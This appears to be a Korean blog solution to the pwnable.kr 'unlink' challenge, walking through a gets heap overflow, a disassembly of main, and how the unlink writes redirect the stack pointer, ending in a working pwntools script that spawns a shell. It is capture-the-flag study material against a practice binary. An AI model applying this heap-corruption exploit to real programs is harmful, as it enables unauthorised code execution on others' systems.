해설

Daddy! how can I exploit unlink corruption?

 

ssh로 접속해서 unlink.c 코드를 보자

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

A B C 가 doubly-linked list의 구조로 메모리에 저장되어 있고, 각 오브젝트들은 8바이트의 버퍼를 갖고있다. 그리고 unlink 함수는 인자로 넘겨 받은 오브젝트의 앞 뒤 연결을 끊는다 이를 시각화 하면 아래와 같다

 

 

그리고 코드 주석에도 나와있지만 gets로 A의 버퍼에 입력을 받기 때문에, 여기서 오버플로우가 발생한다. 코드만 봐도 힙의 메모리 레이아웃은 다음과 같이 추측할 수 있다

 

힙에는 A(빨간색) B(파란색) C(초록색)이 순서대로 저장되어 있을 것이고, gets(A->buf)에 의해 우리는 빨간 글씨로 색칠되어 있는 부분을 모두 조작할 수 있게 된다

여기까지 알고나면 해야할 일은 뻔해지는 것 같다. unlink 이후의 리턴 주소를 조작해서 shell() 함수를 실행시키도록 하면 될 것 같다. 그치만 어떻게 해야할까? unlink는 시각적으로 보았을때는 직관적으로 와닿지 않을 수 있지만, 결론적으론 B->fd 부분과 B->bk 부분에 내가 조작하고싶은 부분의 주소를 넣으면 된다.

 

FD = b->fd

BK = b->bk

 

이므로, FD->bk는 b->fd->bk, 즉 b->fd 부분의 주소 + 4바이트 부분을 가리키게되고, BK->fd는 b->bk 부분의 주소를 그대로 가리키게 된다

 

문제에서 스택 주소와 힙 주소 leak을 제공하기 때문에, 주소를 구할 걱정은 하지 않아도 된다. 그런데 도대체 어디의 주소를 조작해야할까? 언뜻봐서는 리턴 주소를 shell() 주소로 바꿔치기 하면 될것 같지만, 그렇게 할 경우 shell() 주소 부분도 바뀌어야 하는데 shell() 주소 부분은 텍스트 영역이므로 바뀌지 않는다. 여기까지만 봐서는 어떤 주소를 바꿔야할지가 명확하지 않다. main의 어셈 코드를 보도록 하자

 

Dump of assembler code for function main:
   0x0804852f <+0>:     lea    ecx,[esp+0x4]
   0x08048533 <+4>:     and    esp,0xfffffff0
   0x08048536 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048539 <+10>:    push   ebp
   0x0804853a <+11>:    mov    ebp,esp
   0x0804853c <+13>:    push   ecx
   0x0804853d <+14>:    sub    esp,0x14
   0x08048540 <+17>:    sub    esp,0xc
   0x08048543 <+20>:    push   0x400
   0x08048548 <+25>:    call   0x80483a0 <malloc@plt>
   0x0804854d <+30>:    add    esp,0x10
   0x08048550 <+33>:    sub    esp,0xc
   0x08048553 <+36>:    push   0x10
   0x08048555 <+38>:    call   0x80483a0 <malloc@plt>
   0x0804855a <+43>:    add    esp,0x10
   0x0804855d <+46>:    mov    DWORD PTR [ebp-0x14],eax
   0x08048560 <+49>:    sub    esp,0xc
   0x08048563 <+52>:    push   0x10
   0x08048565 <+54>:    call   0x80483a0 <malloc@plt>
   0x0804856a <+59>:    add    esp,0x10
   0x0804856d <+62>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048570 <+65>:    sub    esp,0xc
   0x08048573 <+68>:    push   0x10
   0x08048575 <+70>:    call   0x80483a0 <malloc@plt>
   0x0804857a <+75>:    add    esp,0x10
   0x0804857d <+78>:    mov    DWORD PTR [ebp-0x10],eax
   0x08048580 <+81>:    mov    eax,DWORD PTR [ebp-0x14]
   0x08048583 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x08048586 <+87>:    mov    DWORD PTR [eax],edx
   0x08048588 <+89>:    mov    edx,DWORD PTR [ebp-0x14]
   0x0804858b <+92>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804858e <+95>:    mov    DWORD PTR [eax+0x4],edx
   0x08048591 <+98>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048594 <+101>:   mov    edx,DWORD PTR [ebp-0x10]
   0x08048597 <+104>:   mov    DWORD PTR [eax],edx
   0x08048599 <+106>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0804859c <+109>:   mov    edx,DWORD PTR [ebp-0xc]
   0x0804859f <+112>:   mov    DWORD PTR [eax+0x4],edx
   0x080485a2 <+115>:   sub    esp,0x8
   0x080485a5 <+118>:   lea    eax,[ebp-0x14]
   0x080485a8 <+121>:   push   eax
   0x080485a9 <+122>:   push   0x8048698
   0x080485ae <+127>:   call   0x8048380 <printf@plt>
   0x080485b3 <+132>:   add    esp,0x10
   0x080485b6 <+135>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485b9 <+138>:   sub    esp,0x8
   0x080485bc <+141>:   push   eax
   0x080485bd <+142>:   push   0x80486b8
   0x080485c2 <+147>:   call   0x8048380 <printf@plt>
   0x080485c7 <+152>:   add    esp,0x10
   0x080485ca <+155>:   sub    esp,0xc
   0x080485cd <+158>:   push   0x80486d8
   0x080485d2 <+163>:   call   0x80483b0 <puts@plt>
   0x080485d7 <+168>:   add    esp,0x10
   0x080485da <+171>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485dd <+174>:   add    eax,0x8
   0x080485e0 <+177>:   sub    esp,0xc
   0x080485e3 <+180>:   push   eax
   0x080485e4 <+181>:   call   0x8048390 <gets@plt>
   0x080485e9 <+186>:   add    esp,0x10
   0x080485ec <+189>:   sub    esp,0xc
   0x080485ef <+192>:   push   DWORD PTR [ebp-0xc]
   0x080485f2 <+195>:   call   0x8048504 <unlink>
   0x080485f7 <+200>:   add    esp,0x10
   0x080485fa <+203>:   mov    eax,0x0
   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave
   0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret
End of assembler dump.

main 함수 끝자락을 보면 lea esp, [ecx-0x4]가 있고 그다음 ret을 통해 esp가 가리키고 있는 스택 탑이 eip에 pop 된다. 조금 더 위를 보면 mov ecx, DWORD PTR [ebp-0x4]이므로 ecx는 결국 [ebp-0x4]가 가리키고 있는 부분의 값이다. 즉, ebp-0x4 위치의 값 - 4바이트 만큼의 값이 esp에 저장되어 스택 탑의 주소가 아예 바뀌게 되버리고, 바뀐 부분의 주소가 가리키는 값을 pop하게 되는 것이다.

 

즉 다시 한번 더 쉽게 생각해보면, ecx-0x4의 값이 shell() 함수의 주소 값을 저장하고 있는 부분의 주소이면 될 것 같다.

 

우리는 A의 버퍼를 조작할 수 있기 때문에, 다음과 같이 조작을 해보도록하자

 

A->buf = shell() 주소(4byte)

B->fd = ebp-0x8

B->bk = A->buf + 0x4

 

이렇게 조작했을 경우,

 

FD = B->fd

BK = B->bk

 

이므로 FD->bk = BK에 의해

*(ebp-0x8+0x4) = *(ebp - 0x4) = A->buf + 0x4가 되고

BK->fd = FD에 의해

*(A->buf+0x4) = ebp-0x8이 된다(이 부분은 중요하지 않다)

 

그렇게 되면 ebp-0x4가 가리키는 부분에 A->buf 주소 + 0x4의 값이 들어가게 되고, 최종적으로 ecx-0x4의 값은 A->buf 주소가 되어, esp에 A->buf의 주소가 저장되게 되고, ret에서 eip에 shell() 함수의 주소가 저장되어 실행 흐름을 변조할 수 있다.

 

익스플로잇 코드는 다음과 같다.

 

 

from pwn import *

p = process("/home/unlink/unlink")

stack_leak = p.recvline()
heap_leak = p.recvline()

stack_leak = stack_leak[-9:]
heap_leak = heap_leak[-8:]
shell_addr = p32(0x80484eb)

stack_leak = p32(int(stack_leak, 16) + 0xC)
heap_leak = p32(int(heap_leak, 16) + 0xC)

print(stack_leak)
print(heap_leak)

payload = shell_addr + "A"*12 + stack_leak + heap_leak

p.sendline(payload)
p.interactive()

stack_leak은 ebp-0x14 부분이기 때문에, ebp-0x8과 0xC만큼 차이가 나서 더해주었다.

마찬가지로 heap_leak은 A의 시작 부분인데, A->buf+0x4와는 0xC만큼 차이가 나서 더해주었다.

shell 함수의 주소는 gdb로 확인했다

 

 

'pwn' 카테고리의 다른 글

pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - asm  (0) 2020.07.22
pwnable.kr - memcpy  (0) 2020.07.21
pwnable.kr - uaf  (0) 2020.07.21

+ Recent posts